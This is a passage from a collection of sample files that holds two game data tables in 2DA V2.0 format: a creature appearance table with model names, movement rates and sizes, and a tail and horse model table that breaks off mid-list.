    "content": "2DA V2.0\n\n           LABEL                                                      STRING_REF NAME                      RACE             ENVMAP         BLOODCOLR MODELTYPE WEAPONSCALE WING_TAIL_SCALE HELMET_SCALE_M HELMET_SCALE_F MOVERATE WALKDIST RUNDIST PERSPACE CREPERSPACE HEIGHT HITDIST PREFATCKDIST TARGETHEIGHT ABORTONPARRY RACIALTYPE HASLEGS HASARMS PORTRAIT       SIZECATEGORY PERCEPTIONDIST FOOTSTEPTYPE SOUNDAPPTYPE HEADTRACK HEAD_ARC_H HEAD_ARC_V HEAD_NAME       BODY_BAG TARGETABLE \n0          \"(Dynamic Dwarf)\"                                          ****       Character_model           D                default        R         P         1           1               1.15           0.95           NORM     1.06     2.12    0.3      0.5         1.5    0.3     1.4          H            1            6          1       1       ****           3            9              0            0            1         60         30         head_g          6        1          \n1          \"(Dynamic Elf)\"                                            ****       Character_model           E                default        R         P         1           1               0.85           0.8            NORM     1.43     2.86    0.3      0.4         1.75   0.3     1.5          H            1            7          1       1       ****           3            9              0            0            1         60         30         head_g          6        1          \n2          \"(Dynamic Gnome)\"                                          ****       Character_model           G                default        R         P         1           1               0.9            0.82           NORM     1        1.94    0.3      0.4         1.5    0.3     1.3          H            1            8          1       1       ****           2            9              0            0            1         60         30         head_g          6        1          \n3          \"(Dynamic Halfing)\"                                        ****       Character_model           A                default        R         P         0.8         1               0.7            0.65           NORM     1.04     2.08    0.25     0.3         1.5    0.25    1.1          H            1            10         1       1       ****           2            9              0            0            1         60         30         head_g          6        1          \n4          \"(Dynamic Half-Elf)\"                                       ****       Character_model           H                default        R         P         1           1               1              0.9            NORM     1.6      3.2     0.3      0.5         2      0.3     1.7          H            1            7          1       1       ****           3            9              0            0            1         60         30         head_g          6        1          \n5          \"(Dynamic Half-Orc)\"                                       ****       Character_model           O                default        R         P         1.3         1               1.2            1.2            NORM     1.6      3.2     0.3      0.7         2.25   0.3     2.1          H            1            13         1       1       ****           3            9              0            0            1         60         30         head_g          6        1          \n6          \"(Dynamic Human)\"                                          ****       Character_model           H                default        R         P         1           1               1.05           0.85           NORM     1.6      3.2     0.3      0.5         2      0.3     1.7          H            1            11         1       1       ****           3            9              0            0            1         60         30         head_g          6        1          \n7          \"Bird: Parrot\"                                             ****       Parrot                    c_a_parrot       ****           R         S         ****        1               1              1              FAST     1        3.5     0.13     0.13        0.3    0.13    1.8          L            0            2          1       1       po_poly        1            9              -1           5            0         60         30         Parrot_head     0        1          \n8          Badger                                                     ****       BASE                      c_badger         ****           R         S         ****        1               1              1              FAST     0.77     1.2     0.3      0.3         1      0.3     2            L            0            2          1       1       po_Badger      1            9              3            2            1         60         30         Badger_head     0        1          \n9          \"Badger: Dire\"                                             ****       Badger                    c_direbadg       ****           R         S         ****        1               1              1              FAST     1        1.42    0.5      0.5         1      0.5     2.6          L            0            2          1       1       po_DireBadger  2            9              3            2            1         60         30         Badger_head     0        1          \n10         Bat                                                        ****       BASE                      c_a_bat          ****           R         S         ****        1               1              1              VFAST    2.75     5.5     0.2      0.2         1      0.2     1.7          H            1            2          1       1       po_Bat         1            9              9            5            1         60         30         Bat_head        0        1          \n11         \"Horror: Battle\"                                           ****       Battle_Horror             c_bathorror      ****           W         F         1.3         1               1              1              VFAST    2.75     5.5     0.3      0.9         1      0.3     2.1          H            1            4          0       1       po_BatHorror   3            9              -1           25           1         60         30         head_g          0        1          \n12         \"Bear: Black\"                                              ****       Bear                      c_bearblck       ****           R         S         ****        1               1              1              FAST     1.23     1.63    0.6      1.2         1      1.2     1.9          H            1            2          1       1       po_BearBlck    3            9              3            2            1         60         30         Bear_head       0        1          \n13         \"Bear: Brown\"                                              ****       BASE                      c_bearbrwn       ****           R         S         ****        1               1              1              FAST     1.23     1.63    0.6      1.2         1      1.2     1.9          H            1            2          1       1       po_BearBrwn    4            9              3            2            1         60         30         Bear_head       0        1          \n14         \"Bear: Polar\"                                              ****       Bear                      c_bearpolar      ****           R         S         ****        1               1              1              FAST     1.46     1.94    0.6      1.5         1      1.5     2.2          H            1            2          1       1       po_BearPolar   4            9              3            2            1         60         30         Bear_head       0        1          \n15         \"Bear: Dire\"                                               ****       Bear                      c_beardire       ****           R         S         ****        1               1              1              FAST     1.75     2.33    0.6      1.5         1      1.5     2.7          H            1            2          1       1       po_BearDire    4            9              3            2            1         60         30         Bear_head       0        1          \n16         \"Curst Swordsman\"                                          ****       Curst_Swordsman           c_curst          ****           R         S         1           1               1.05           0.85           NORM     1.6      2.7     0.3      0.5         1      0.3     1.7          H            1            11         1       1       po_vampire_m   3            9              3            0            1         60         30         head_g          6        1          \n17         \"Beetle: Slicer: Medium\"                                   ****       Beetle                    c_btlslicer      ****           G         S         ****        1               1              1              NORM     0.7      3.6     0.6      1           1      1       2.3          H            0            24         1       1       po_Btlslicer   3            9              6            6            1         60         30         Beetle_head     0        1          \n18         \"Beetle: Fire: Medium\"                                     ****       Beetle                    c_btlfire        ****           G         S         ****        1               1              1              NORM     0.7      3.6     0.6      0.9         1      0.9     2.2          H            0            24         1       1       po_BtlFire     3            9              6            6            1         60         30         Beetle_head     0        1          \n19         \"Beetle: Stag: Medium\"                                     ****       BASE                      c_btlstag        evmap_irrid    G         S         ****        1               1              1              NORM     0.7      3.6     0.6      1           1      1       2.3          H            0            24         1       1       po_BtlStag     3            9              6            6            1         60         30         Beetle_head     0        1          \n20         \"Beetle: Stink: Medium\"                                    ****       Beetle                    c_btlstink       ****           G         S         ****        1               1              1              NORM     0.7      3.6     0.6      1           1      1       2.3          H            0            24         1       1       po_BtlStink    3            9              6            6            1         60         30         Beetle_head     0        1          \n21         \"Swine: Boar\"                                              ****       BASE                      c_boar           ****           R         S         ****        1               1              1              FAST     0.9      2.1     0.4      0.4         1      0.4     1.5          L            0            2          1       1       po_Boar        3            9              0            2            1         60         30         Wildboar_head   0        1          \n22         \"Swine: Boar: Dire\"                                        ****       Boar                      qc_direhog       ****           R         S         ****        1               1              1              FAST     1.46     2.1     0.6      0.6         1      0.6     2.2          L            0            2          1       1       po_DireBoar    3            9              0            2            1         60         30         Wildboar_head   0        1          \n23         Bodak                                                      ****       Bodak_(CM)                c_bodak          ****           R         F         1           1               1              1              FAST     1.81     2.7     0.3      0.5         1      0.3     1.8          H            1            23         1       1       po_Bodak       3            9              0            0            1         60         30         head_g          0        1          \n24         \"Golem: Bone\"                                              ****       Golem_Bone_(CM)           c_golbone        default        W         S         ****        1               1              1              SLOW     2        3.2     0.4      1.4         1      0.4     2.7          H            1            4          1       1       po_GolBone     4            9              0            4            0         60         30         Ettin_Largehead 5        1          \n25         \"Bugbear: Chieftain 1\"                                     ****       Bugbear                   c_bugchiefA      default        R         F         1.55        1               1              1              NORM     1.81     2.33    0.3      0.8         1      0.3     2.2          H            1            9          1       1       po_BugChiefA   3            9              0            0            1         60         30         head_g          0        1          \n26         \"Bugbear: Chieftain 2\"                                     ****       Bugbear                   c_bugchiefB      default        R         F         1.55        1               1              1              NORM     1.81     2.33    0.3      0.8         1      0.3     2.2          H            1            9          1       1       po_BugChiefB   3            9              0            0            1         60         30         head_g          0        1          \n27         \"Bugbear: Shaman 1\"                                        ****       Bugbear                   c_bugwizA        default        R         F         1.55        1               1              1              NORM     1.81     2.33    0.3      0.8         1      0.3     2.2          H            1            9          1       1       po_BugWizA     3            9              0            0            1         60         30         head_g          0        1          \n28         \"Bugbear: Shaman 2\"                                        ****       Bugbear                   c_bugwizB        default        R         F         1.55        1               1              1              NORM     1.81     2.33    0.3      0.8         1      0.3     2.2          H            1            9          1       1       po_BugWizB     3            9              0            0            1         60         30         head_g          0        1          \n29         \"Bugbear 01\"                                               ****       BASE                      c_bugbearA       default        R         F         1.55        1               1              1              NORM     1.81     2.33    0.3      0.8         1      0.3     2.2          H            1            9          1       1       po_BugbearA    3            9              0            0            1         60         30         head_g          0        1          \n30         \"Bugbear 02\"                                               ****       Bugbear                   c_bugbearB       default        R         F         1.55        1               1              1              NORM     1.81     2.33    0.3      0.8         1      0.3     2.2          H            1            9          1       1       po_BugbearB    3            9              0            0            1         60         30         head_g          0        1          \n31         \"Bird: Chicken\"                                            ****       Chicken                   c_a_chicken      ****           R         S         ****        1               1              1              FAST     1        3.5     0.13     0.13        0.3    0.13    1.8          L            0            2          1       1       po_Chicken     1            9              -1           5            0         60         30         Chicken_head    0        1          \n32         \"Satyr: Archer\"                                            ****       Satyr_archer              c_satyrarcher    default        R         F         1.3         1               1              1              NORM     2.7      3.5     0.3      0.7         1      0.3     1.8          H            1            14         1       1       po_Satyr       3            9              4            0            1         60         30         head_g          6        1          \n33         \"Satyr: Warrior\"                                           ****       Satyr_warrior             c_satyrwarrior   default        R         F         1.3         1               1              1              NORM     2.7      3.5     0.3      0.7         1      0.3     1.8          H            1            14         1       1       po_Satyr       3            9              4            0            1         60         30         head_g          6        1          \n34         \"Cattle: Cow 1\"                                            ****       Cow                       c_a_cow          ****           R         S         ****        1               1              1              SLOW     1.52     1.92    0.6      1.3         1      1.3     2.9          H            1            2          1       1       po_Cow         3            9              4            2            0         60         30         Ox_head         0        1          \n35         \"Deer: Stag\"                                               ****       Deer_Stag                 c_a_deer         ****           R         S         ****        1               1              1              FAST     1.82     2.4     0.6      0.9         1      0.9     2.6          H            0            2          1       1       po_Deer        3            9              4            2            1         60         30         Deer_head       0        1          \n36         \"Intellect Devourer: Skeletal\"                             ****       Intellect_Devourer        c_devo_02        default        W         S         ****        1               1              1              NORM     1.02     3.6     0.4      0.4         1      0.4     1.9          L            0            1          1       1       po_devo_02     2            9              3            2            1         60         30         indev_head      5        1          \n37         \"Deer: Stag: White\"                                        ****       Deer_Stag                 c_a_deerwhite    ****           R         S         ****        1               1              1              FAST     1.82     2.4     0.6      0.9         1      0.9     2.7          H            0            2          1       1       po_DeerWhite   3            9              4            2            1         60         30         Deer_head       0        1          \n38         \"Demon: Balor\"                                             ****       Demon                     c_demon          default        R         L         2.3         1               1              1              FAST     3.2      5.1     0.6      2           1      1.5     2.4          H            1            19         1       1       po_Demon       4            9              5            1            0         60         30         ****            3        1          \n39         Lich                                                       ****       Lich                      c_Lich           ****           W         F         1           1               1              1              NORM     1.6      2.7     0.3      0.5         1      0.3     1.7          H            1            23         1       1       po_Lich        3            9              0            0            1         60         30         head_g          3        1          \n40         \"Doom Knight\"                                              ****       Doom_Knight               c_doomkght       default        G         F         1           1               1              1              NORM     1.65     2.78    0.3      0.7         1      0.3     2.1          H            1            23         1       1       po_DoomKght    3            9              0            0            1         60         30         head_g          5        1          \n41         \"Dragon Chr: Black\"                                        ****       Dragon_Black              c_DrgBlack       ****           G         S         ****        1               1              1              FAST     3.33     6       1.1      2           1      1.1     3.3          H            1            5          1       1       po_DrgBlack    5            10             2            22           0         60         30         Dragon_head     3        1          \n42         \"Dragon Met: Brass\"                                        ****       Dragon_Copper             c_DrgBrass       default        G         S         ****        1               1              1              FAST     3.33     6       1.1      2           1      1.1     3.2          H            1            5          1       1       po_DrgBrass    5            10             2            22           0         60         30         Dragon_head     3        1          \n43         \"Dragon Met: Copper\"                                       ****       BASE                      c_DrgCopp        default        G         S         ****        1               1              1              FAST     3.33     6       1        1.9         1      1       3.1          H            1            5          1       1       po_DrgCopp     5            10             2            22           0         60         30         Dragon_head     3        1          \n44         \"Dragon Met: Silver\"                                       ****       Dragon_Copper             c_DrgSilv        default        G         S         ****        1               1              1              FAST     3.33     6       1.1      2           1      1.1     3.3          H            1            5          1       1       po_DrgSilv     5            10             2            22           0         60         30         Dragon_head     3        1          \n45         \"Dragon Met: Bronze\"                                       ****       Dragon_Gold               c_DrgBrnz        default        G         S         ****        1               1              1              FAST     3.33     6       1.1      2           1      1.1     3.2          H            1            5          1       1       po_DrgBrnz     5            10             2            22           0         60         30         Dragon_head     3        1          \n46         \"Dragon Met: Gold\"                                         ****       Dragon_Gold               c_DrgGold        default        G         S         ****        1               1              1              FAST     2.88     5.2     1        1.9         1      1       3.1          H            1            5          1       1       po_DrgGold     5            10             2            22           0         60         30         Dragon_head     3        1          \n47         \"Dragon Chr: Blue\"                                         ****       Dragon_White              c_DrgBlue        ****           G         S         ****        1               1              1              FAST     3.33     6       1.1      2           1      1.1     3.2          H            1            5          1       1       po_DrgBlue     5            10             2            22           0         60         30         Dragon_head     3        1          \n48         \"Dragon Chr: Green\"                                        ****       Dragon_Green              c_DrgGreen       ****           G         S         ****        1               1              1              FAST     3.33     6       1.1      2           1      1.1     3.2          H            1            5          1       1       po_DrgGreen    5            10             2            22           0         60         30         Dragon_head     3        1          \n49         \"Dragon Chr: Red\"                                          ****       Dragon_Red                c_DrgRed         ****           G         S         ****        1               1              1              FAST     3.33     6       1.1      2           1      1.1     3.3          H            1            5          1       1       po_DrgRed      5            10             2            22           0         60         30         Dragon_head     3        1          \n50         \"Dragon Chr: White\"                                        ****       Dragon_Green              c_DrgWhite       ****           G         S         ****        1               1              1              FAST     3.33     6       1.1      2           1      1.1     3.1          H            1            5          1       1       po_DrgWhite    5            10             2            22           0         60         30         Dragon_head     3        1          \n51         \"Fey: Dryad\"                                               ****       Dryad_(CM)                c_dryad          ****           R         F         1           1               1              1              NORM     1.6      2.7     0.25     0.4         1      0.25    1.5          H            1            16         1       1       po_Dryad       3            9              0            0            1         60         30         head_g          6        1          \n52         \"Elemental Base: Air\"                                      ****       Elemental_Air             c_air            ****           N         S         ****        1               1              1              VFAST    2.75     5.5     0.25     0.5         1      0.25    1.9          H            1            15         1       1       po_Air         3            9              0            20           1         60         30         head_g          3        1          \n53         \"Elemental Base: Air: Elder\"                               ****       Elemental_Air             c_aireld         ****           N         S         ****        1               1              1              VFAST    2.75     5.5     0.3      0.6         1      0.3     1.9          H            1            15         1       1       po_AirElder    5            9              0            20           1         60         30         head_g          3        1          \n54         \"Intellect Devourer: War\"                                  ****       Intellect_Devourer        c_devo_01        ****           R         S         ****        1               1              1              NORM     1.02     3.6     0.4      0.4         1      0.4     1.9          L            0            1          1       1       po_devo_01     2            9              3            2            1         60         30         indev_head      3        1          \n55         \"Fey: Pixie: Green\"                                        ****       Fairy                     c_Fairy          ****           R         S         ****        1               1              1              VFAST    2.75     4       0.1      0.1         1      0.1     1.7          H            1            2          1       1       po_pixie       2            9              -1           23           0         60         30         fairy_head      6        1          \n56         \"Elemental Base: Earth\"                                    ****       Elemental_Earth           c_earth          ****           N         S         ****        1               1              1              SLOW     1.82     2.5     0.7      1.7         1      0.7     2.6          H            1            15         1       1       po_Earth       4            9              1            18           1         60         30         stone__head     3        1          \n57         \"Elemental Base: Earth: Elder\"                             ****       Elemental_Earth           c_eartheld       ****           N         S         ****        1               1              1              SLOW     1.82     2.5     0.7      1.7         1      0.7     2.6          H            1            15         1       1       po_Earth_eld   4            9              1            18           1         60         30         stone__head     3        1          \n58         \"Mummy: Common\"                                            ****       Mummy                     c_mum_com        ****           W         F         1           1               1              1              VSLOW    1.25     1.75    0.3      0.5         1      0.3     1.8          H            1            23         1       1       po_mum_com01   3            9              3            13           1         60         30         head_g          5        1          \n59         \"Mummy: Warrior 2\"                                         ****       Mummy                     c_mum_fight02    ****           W         F         1           1               1              1              VSLOW    1.25     1.75    0.3      0.5         1      0.3     1.8          H            1            23         1       1       po_mum_war02   3            9              3            13           1         60         30         head_g          5        1          \n60         \"Elemental Base: Fire\"                                     ****       Elemental_Fire            c_fire           ****           N         S         ****        1               1              1              NORM     1.32     3.5     0.5      0.7         1      0.5     1.9          H            1            15         1       1       po_Fire        3            9              0            19           1         60         30         FiEl_Head       3        1          \n61         \"Elemental Base: Fire: Elder\"                              ****       Elemental_Fire            c_fireeld        ****           N         S         ****        1               1              1              NORM     1.58     4.16    0.6      0.8         1      0.6     2.4          H            1            15         1       1       po_Fire_eld    3            9              0            19           1         60         30         FiEl_Head       3        1          \n62         \"Skeleton: Priest\"                                         ****       Skeleton                  c_skel_priest01  ****           W         F         1           1               1              1              NORM     1.6      2.7     0.2      0.4         1      0.2     1.8          H            1            23         1       1       po_sk_pre01    3            9              8            13           1         60         30         head_g          5        1          \n63         \"Skeleton: Common\"                                         ****       Skeleton                  c_skel_com01     ****           W         F         1           1               1              1              NORM     1.6      2.7     0.2      0.4         1      0.2     1.8          H            1            23         1       1       po_sk_com01    3            9              8            13           1         60         30         head_g          5        1          \n64         \"Invisible Stalker\"                                        ****       Elemental_Mist            c_invstalk       ****           R         F         ****        1               1              1              NORM     1.6      2.7     0.2      0.6         1      0.2     2.2          H            1            15         1       1       po_InvStalk    4            9              3            1            1         60         30         head_g          0        1          \n65         Sahuagin                                                   ****       Sahuagin                  c_sahuagin       default        G         F         1           1               1              1              NORM     1.6      2.7     0.3      0.5         1      0.3     1.7          H            1            2          1       1       po_Sahuagin    3            9              0            0            1         60         30         head_g          0        1          \n66         \"Sahuagin Leader\"                                          ****       Sahuagin_Leader           c_sahuagin_l     default        G         F         1           1               1              1              NORM     1.6      2.7     0.3      0.5         1      0.3     1.7          H            1            2          1       1       po_Sahuagin    3            9              0            0            1         60         30         head_g          0        1          \n67         \"Sahuagin Cleric\"                                          ****       Sahuagin_Cleric           c_sahuagin_c     default        G         F         1           1               1              1              NORM     1.6      2.7     0.3      0.5         1      0.3     1.7          H            1            2          1       1       po_Sahuagin    3            9              0            0            1         60         30         head_g          0        1          \n68         \"Elemental Base: Water: Elder\"                             ****       Elemental_Water           c_waterEld       ****           N         S         ****        1               1              1              SLOW     1.25     2       0.2      0.6         1      0.2     1.9          H            0            15         1       1       po_Water_eld   3            9              0            21           1         60         30         Welemental_head 3        1          \n69         \"Elemental Base: Water\"                                    ****       Elemental_Water           c_water          ****           N         S         ****        1               1              1              SLOW     1.25     2       0.2      0.5         1      0.2     1.8          H            0            15         1       1       po_Water       3            9              0            21           1         60         30         Welemental_head 3        1          \n70         \"Skeleton: Warrior 1\"                                      ****       Skeleton                  c_skel_war02     ****           W         F         1           1               1              1              NORM     1.6      2.7     0.3      0.5         1      0.3     1.8          H            1            23         1       1       po_sk_war01    3            9              8            13           1         60         30         head_g          5        1          \n71         \"Skeleton: Warrior 2\"                                      ****       Skeleton                  c_skel_war03     ****           W         F         1           1               1              1              NORM     1.6      2.7     0.3      0.5         1      0.3     1.8          H            1            23         1       1       po_sk_war02    3            9              8            13           1         60         30         head_g          5        1          \n72         Ettin                                                      ****       Ettin                     c_ettin          ****           R         L         2.1         1               1              1              FAST     2.66     6       0.5      1.5         1      0.5     2.2          H            1            17         1       1       po_Ettin       4            9              1            3            0         60         30         Ettin_Largehead 0        1          \n73         Gargoyle                                                   ****       Gargoyle                  c_gargoyle       ****           G         S         ****        1               1              1              FAST     2.7      2.7     0.6      1.6         1      0.6     2.1          H            1            18         1       1       po_Gargoyle    3            9              0            2            1         60         30         Gargoyle_head   3        1          \n74         Ghast                                                      ****       Ghast                     c_Ghast          ****           Y         F         1           1               1              1              NORM     1.6      2.7     0.2      0.4         1      0.2     1.8          H            1            23         1       1       po_Ghast       3            9              0            0            1         60         30         head_g          5        1          \n75         \"Ogre: Elite\"                                              ****       Ogre_elite                c_Ogre35         ****           R         L         1.8         1               1              1              NORM     3.5      3.5     0.6      1.5         1      0.4     2.2          H            1            17         1       1       po_Ogre35      4            9              1            1            1         45         5          Ogre_head       0        1          \n76         Ghoul                                                      ****       Ghoul                     c_ghoul          ****           Y         F         1           1               1              1              NORM     1.6      2.7     0.2      0.4         1      0.2     1.8          H            1            23         1       1       po_Ghoul       3            9              0            0            1         60         30         head_g          5        1          \n77         \"Ghoul Lord\"                                               ****       Ghoul_Lord                c_GhoulLord      ****           Y         F         1           1               1              1              NORM     1.6      2.7     0.2      0.4         1      0.2     1.8          H            1            23         1       1       po_GhoulLord   3            9              0            0            1         60         30         head_g          5        1          \n78         \"Giant: Hill 1\"                                            ****       Giant_Common              c_gnthill        ****           R         L         2.4         1               1              1              FAST     2.43     4.95    0.7      1.5         1      0.7     1.8          H            1            17         1       1       po_GntHill     4            9              1            3            1         60         30         gnthill_head_g  0        1          \n79         \"Giant: Mountain 1\"                                        ****       Giant_Common              c_gntmount       ****           R         L         2.4         1               1              1              FAST     2.43     4.95    0.7      1.5         1      0.7     1.8          H            1            17         1       1       po_GntMount    4            9              1            3            1         60         30         gnthill_head_g  0        1          \n80         \"Giant: Fire: Male 1\"                                      ****       Giant_Noble               c_gntfire        default        R         L         2.5         1               1              1              FAST     3.28     4.5     0.7      1.5         1      0.7     2            H            1            17         1       1       po_GntFire     5            10             1            1            1         60         30         frostgiant_head 3        1          \n81         \"Giant: Frost: Male 1\"                                     ****       Giant_Noble               c_gntfrost       default        R         L         2.5         1               1              1              FAST     3.28     4.5     0.7      1.5         5      0.7     2            H            1            17         1       1       po_GntFrost    5            10             1            1            1         60         30         frostgiant_head 3        1          \n82         \"Goblin: Chieftain A\"                                      ****       Goblin                    c_gobchiefA      ****           R         F         0.8         1               1              1              NORM     1        2       0.3      0.4         1      0.3     1.2          H            1            9          1       1       po_GobChiefA   2            9              0            0            1         60         30         head_g          0        1          \n83         \"Goblin: Chieftain B\"                                      ****       Goblin                    c_gobchiefB      ****           R         F         0.8         1               1              1              NORM     1        2       0.3      0.4         1      0.3     1.2          H            1            9          1       1       po_GobChiefB   2            9              0            0            1         60         30         head_g          0        1          \n84         \"Goblin: Shaman A\"                                         ****       Goblin                    c_gobwizA        ****           R         F         0.8         1               1              1              NORM     1        2       0.3      0.4         1      0.3     1.2          H            1            9          1       1       po_GobWizA     2            9              0            0            1         60         30         head_g          0        1          \n85         \"Goblin: Shaman B\"                                         ****       Goblin                    c_gobwizB        ****           R         F         0.8         1               1              1              NORM     1        2       0.3      0.4         1      0.3     1.2          H            1            9          1       1       po_GobWizB     2            9              0            0            1         60         30         head_g          0        1          \n86         \"Goblin A\"                                                 ****       Goblin                    c_goblinA        ****           R         F         0.8         1               1              1              NORM     1        2       0.3      0.4         1      0.3     1.2          H            1            9          1       1       po_GoblinA     2            9              0            0            1         60         30         head_g          0        1          \n87         \"Goblin B\"                                                 ****       Goblin                    c_goblinB        ****           R         F         0.8         1               1              1              NORM     1        2       0.3      0.4         1      0.3     1.2          H            1            9          1       1       po_GoblinB     2            9              0            0            1         60         30         head_g          0        1          \n88         \"Golem: Flesh\"                                             ****       Golem_Flesh               c_golflesh       ****           R         S         ****        1               1              1              NORM     2.33     3.2     0.3      0.5         1      0.3     1.9          H            1            4          1       1       po_GolFlesh    4            9              0            2            1         60         30         GolFlesh_head   5        1          \n89         \"Golem: Iron\"                                              ****       Golem_Iron                c_goliron        ****           W         L         2.1         1               1              1              SLOW     2.58     3.66    0.6      1.6         1      1       1.9          H            1            4          1       1       po_GolIron     4            9              1            9            1         60         30         IroGolem_head   3        1          \n90         \"Shield Guardian\"                                          ****       Golem_Iron                c_shguard        ****           W         S         2.1         1               1              1              SLOW     2.58     3.66    0.6      1.5         1      0.9     2            H            1            4          1       1       po_ShGuard     4            9              1            11           1         60         30         IroGolem_head   3        1          \n91         \"Golem: Clay 1\"                                            ****       Golem_Stone               c_GolClay        ****           W         S         ****        1               1              1              SLOW     1.82     2.25    0.6      1.8         1      0.8     2.7          H            1            4          1       1       po_GolClay     4            9              1            11           1         60         30         stone__head     3        1          \n92         \"Golem: Stone\"                                             ****       Golem_Stone               c_GolStone       ****           W         S         ****        1               1              1              SLOW     1.82     2.25    0.6      1.8         1      0.8     2.7          H            1            4          1       1       po_GolStone    4            9              1            11           1         60         30         stone__head     3        1          \n93         \"Cat: Leopard\"                                             ****       Great_Cat                 c_cat_lep        ****           R         S         ****        1               1              1              FAST     2.45     2.25    0.6      1           1      1       2.3          L            0            2          1       1       po_Leopard     3            9              3            2            1         60         30         Cat_head        0        1          \n94         \"Cat: Crag Cat\"                                            ****       Great_Cat                 c_cat_crag       ****           R         S         ****        1               1              1              FAST     3.06     2.81    0.6      1.3         1      1.3     3            L            0            2          1       1       po_cat_crag    3            9              3            2            1         60         30         Cat_head        0        1          \n95         \"Cat: Tiger: Dire\"                                         ****       Great_Cat                 c_cat_dire       ****           R         S         ****        1               1              1              FAST     2.1      3.75    0.6      1.4         1      1.4     2.7          H            0            2          1       1       po_DireTiger   3            9              3            2            1         60         30         Cat_head        0        1          \n96         \"Cat: Krenshar\"                                            ****       Great_Cat                 c_cat_kren       ****           R         S         ****        1               1              1              FAST     2.45     2.25    0.6      1.1         1      1.1     2.4          L            0            2          1       1       po_Krenshar    3            9              3            2            1         60         30         Cat_head        0        1          \n"
  },
  {
    "path": "samples/2-Dimensional Array/tailmodel.2da",
    "content": "2DA V2.0\n\n    LABEL                                          MODEL            ENVMAP         \n0   None                                           ****             ****           \n1   Lizard                                         c_tailliz        default        \n2   Bone                                           c_tailbone       ****           \n3   Devil                                          c_taildevil      default        \n4   \"Dragon, Brass\"                                c_tail_brs       default        \n5   \"Dragon, Bronze\"                               c_tail_brz       default        \n6   \"Dragon, Copper\"                               c_tail_cop       default        \n7   \"Dragon, Silver\"                               c_tail_sil       default        \n8   \"Dragon, Gold\"                                 c_tail_gol       default        \n9   \"Dragon, Black\"                                c_tail_blk       ****           \n10  \"Dragon, Blue\"                                 c_tail_blu       ****           \n11  \"Dragon, Green\"                                c_tail_grn       ****           \n12  \"Dragon, Red\"                                  c_tail_red       ****           \n13  \"Dragon, White\"                                c_tail_whi       ****           \n14  NullTail                                       c_nulltail       default        \n15  \"Horse, Walnut\"                                c_horse1         default        \n16  \"Horse, Walnut, saddle\"                        c_horse1a        default        \n17  \"Horse, Walnut, saddle, packs\"                 c_horse1b        default        \n18  \"Horse, Walnut, leather barding\"               c_horse1c1       default        \n19  \"Horse, Walnut, scale mail barding\"            c_horse1c2       default        \n20  \"Horse, Walnut, chain barding\"                 c_horse1c3       default        \n21  \"Horse, Walnut, purple barding\"                c_horse1c4       default        \n22  \"Horse, Walnut, red barding\"                   c_horse1c5       default        \n23  \"Horse, Walnut, leather barding, packs\"        c_horse1d1       default        \n24  \"Horse, Walnut, scale mail barding, packs\"     c_horse1d2       default        \n25  \"Horse, Walnut, chain barding, packs\"          c_horse1d3       default        \n26  \"Horse, Walnut, purple barding, packs\"         c_horse1d4       default        \n27  \"Horse, Walnut, red barding, packs\"            c_horse1d5       default        \n28  \"Horse, Gunpowder\"                             c_horse2         default        \n29  \"Horse, Gunpowder, saddle\"                     c_horse2a        default        \n30  \"Horse, Gunpowder, saddle, packs\"              c_horse2b        default        \n31  \"Horse, Gunpowder, leather barding\"            c_horse2c1       default        \n32  \"Horse, Gunpowder, scale mail barding\"         c_horse2c2       default        \n33  \"Horse, Gunpowder, chain barding\"              c_horse2c3       default        \n34  \"Horse, Gunpowder, purple barding\"             c_horse2c4       default        \n35  \"Horse, Gunpowder, red barding\"                c_horse2c5       default        \n36  \"Horse, Gunpowder, leather barding, packs\"     c_horse2d1       default        \n37  \"Horse, Gunpowder, scale mail barding, packs\"  c_horse2d2       default        \n38  \"Horse, Gunpowder, chain barding, packs\"       c_horse2d3       default        \n39  \"Horse, Gunpowder, purple barding, packs\"      c_horse2d4       default        \n40  \"Horse, Gunpowder, red barding, packs\"         c_horse2d5       default        \n41  \"Horse, Spotted\"                               c_horse3         default        \n42  \"Horse, Spotted, saddle\"                       c_horse3a        default        \n43  \"Horse, Spotted, saddle, packs\"                c_horse3b        default        \n44  \"Horse, Spotted, leather barding\"              c_horse3c1       default        \n45  \"Horse, Spotted, scale mail barding\"           c_horse3c2       default        \n46  \"Horse, Spotted, chain barding\"                c_horse3c3       default        \n47  \"Horse, Spotted, purple barding\"               c_horse3c4       default        \n48  \"Horse, Spotted, red barding\"                  c_horse3c5       default        \n49  \"Horse, Spotted, leather barding, packs\"       c_horse3d1       default        \n50  \"Horse, Spotted, scale mail barding, packs\"    c_horse3d2       default        \n51  \"Horse, Spotted, chain barding, packs\"         c_horse3d3       default        \n52  \"Horse, Spotted, purple barding, packs\"        c_horse3d4       default        \n53  \"Horse, Spotted, red barding, packs\"           c_horse3d5       default        \n54  \"Horse, Black\"                                 c_horse4         default        \n55  \"Horse, Black, saddle\"                         c_horse4a        default        \n56  \"Horse, Black, saddle, packs\"                  c_horse4b        default        \n57  \"Horse, Black, leather barding\"                c_horse4c1       default        \n58  \"Horse, Black, scale mail barding\"             c_horse4c2       default        \n59  \"Horse, Black, chain barding\"                  c_horse4c3       default        \n60  \"Horse, Black, purple barding\"                 c_horse4c4       default        \n61  \"Horse, Black, red barding\"                    c_horse4c5       default        \n62  \"Horse, Black, leather barding, packs\"         c_horse4d1       default        \n63  \"Horse, Black, scale mail barding, packs\"      c_horse4d2       default        \n64  \"Horse, Black, chain barding, packs\"           c_horse4d3       default        \n65  \"Horse, Black, purple barding, packs\"          c_horse4d4       default        \n66  \"Horse, Black, red barding, packs\"             c_horse4d5       default        \n67  \"Nightmare, barding\"                           c_horse5         default        \n68  \"Nightmare, saddle\"                            c_horse5a        default        \n69  Nightmare                                      c_horse5b        default        \n70  \"Horse, Jousting, Purple cloth\"                c_horse_j1       default        \n71  \"Horse, Jousting, Blue and gold cloth\"         c_horse_j2       default        \n72  \"Horse, Jousting, Black and white cloth\"       c_horse_j3       default        \n73  \"Horse, Jousting, Red and yellow cloth\"        c_horse_j4       default        \n74  \"Horse, Jousting, Red and black Striped cloth\" c_horse_j5       default        \n75  \"Horse, Jousting, Green cloth\"                 c_horse_j6       default        \n76  \"Horse, Jousting, Blue and pink cloth\"         c_horse_j7       default        \n77  \"Horse, Jousting, Red and gold brick cloth\"    c_horse_j8       default        \n78  \"Horse, Jousting, Black cloth\"                 c_horse_j9       default        \n79  \"Horse, Jousting, Cyan and white cloth\"        c_horse_j10      default        \n80  \"Horse, Jousting, White cloth\"                 c_horse_j11      default        \n81  \"Halfling, NPC, Female\"                        c_yNPC_a_f01     default        \n82  \"Halfling, NPC, Male\"                          c_yNPC_a_m01     default        \n83  \"Azer, Female\"                                 